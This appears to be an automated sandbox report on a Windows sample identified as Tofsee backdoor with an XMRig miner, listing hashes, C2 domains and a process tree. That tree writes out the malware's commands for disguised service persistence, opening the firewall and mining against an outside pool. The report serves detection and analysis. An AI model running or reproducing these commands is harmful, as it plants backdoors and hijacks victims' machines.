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Analysis

  • max time kernel
    150s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    12/10/2023, 13:47

General

  • Target

    file.exe

  • Size

    247KB

  • MD5

    db0915efc5df3cca31e05b8b3ac0f5ee

  • SHA1

    6d25d1ba8cc8716b6c9f40d6fc998b174418c2bb

  • SHA256

    344cdf9460d4d63a1cd728f6edaaf15cdbd540058dc8cb5a48a059a380fe21a4

  • SHA512

    86126487cd2d78a82e284922eb187280123506d5c9a875c1178f5b35e28784d72507baefcb662061eb20b4ff8633634dd47f251bf93e46707981d91814d55433

  • SSDEEP

    3072:ufniykEWHMXNrACbZ6rDLrBoVDf78BOIKWwtY1:ekEWH+JDbZ6SIOOwt

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\edvwihm\
      2⤵
        PID:1208
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eyyqtdht.exe" C:\Windows\SysWOW64\edvwihm\
        2⤵
          PID:3044
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create edvwihm binPath= "C:\Windows\SysWOW64\edvwihm\eyyqtdht.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description edvwihm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start edvwihm
          2⤵
          • Launches sc.exe
          PID:2988
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1676
      • C:\Windows\SysWOW64\edvwihm\eyyqtdht.exe
        C:\Windows\SysWOW64\edvwihm\eyyqtdht.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2668
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1896

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\eyyqtdht.exe

        Filesize

        11.0MB

        MD5

        06bdf5d2f498f5ee860d14d6473a8fde

        SHA1

        74ddd55afb4ac8715f988a801eb283bd3de99108

        SHA256

        b91c099cdd7295fcc66553ec8d9a77842b20cf7e340625534ad7e0cec711680c

        SHA512

        48955e31f1a0ae3c8f5891758c7630681bb17363a93c8f0aaa529e3617239cdaeb2547db00c80ebc67561f770683a1a95961c38c796640a62b5136de3c554b36

      • C:\Windows\SysWOW64\edvwihm\eyyqtdht.exe

        Filesize

        11.0MB

        MD5

        06bdf5d2f498f5ee860d14d6473a8fde

        SHA1

        74ddd55afb4ac8715f988a801eb283bd3de99108

        SHA256

        b91c099cdd7295fcc66553ec8d9a77842b20cf7e340625534ad7e0cec711680c

        SHA512

        48955e31f1a0ae3c8f5891758c7630681bb17363a93c8f0aaa529e3617239cdaeb2547db00c80ebc67561f770683a1a95961c38c796640a62b5136de3c554b36

      • memory/1896-76-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1896-73-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1896-75-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1896-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1896-74-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1896-63-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1896-65-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1896-78-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1896-77-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/2096-6-0x0000000000400000-0x000000000070C000-memory.dmp

        Filesize

        3.0MB

      • memory/2096-1-0x0000000000890000-0x0000000000990000-memory.dmp

        Filesize

        1024KB

      • memory/2096-7-0x0000000000230000-0x0000000000243000-memory.dmp

        Filesize

        76KB

      • memory/2096-3-0x0000000000400000-0x000000000070C000-memory.dmp

        Filesize

        3.0MB

      • memory/2096-2-0x0000000000230000-0x0000000000243000-memory.dmp

        Filesize

        76KB

      • memory/2124-11-0x0000000000400000-0x000000000070C000-memory.dmp

        Filesize

        3.0MB

      • memory/2124-17-0x0000000000400000-0x000000000070C000-memory.dmp

        Filesize

        3.0MB

      • memory/2124-10-0x0000000000870000-0x0000000000970000-memory.dmp

        Filesize

        1024KB

      • memory/2668-38-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-48-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-35-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-36-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-37-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-31-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-39-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-40-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-41-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-42-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-43-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-44-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-45-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-46-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-47-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-34-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-49-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-50-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2668-51-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/2668-54-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/2668-55-0x00000000058F0000-0x0000000005CFB000-memory.dmp

        Filesize

        4.0MB

      • memory/2668-58-0x00000000058F0000-0x0000000005CFB000-memory.dmp

        Filesize

        4.0MB

      • memory/2668-59-0x00000000001F0000-0x00000000001F7000-memory.dmp

        Filesize

        28KB

      • memory/2668-28-0x0000000000120000-0x0000000000126000-memory.dmp

        Filesize

        24KB

      • memory/2668-27-0x0000000001BE0000-0x0000000001DEF000-memory.dmp

        Filesize

        2.1MB

      • memory/2668-24-0x0000000001BE0000-0x0000000001DEF000-memory.dmp

        Filesize

        2.1MB

      • memory/2668-22-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2668-21-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2668-20-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2668-15-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2668-12-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2668-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB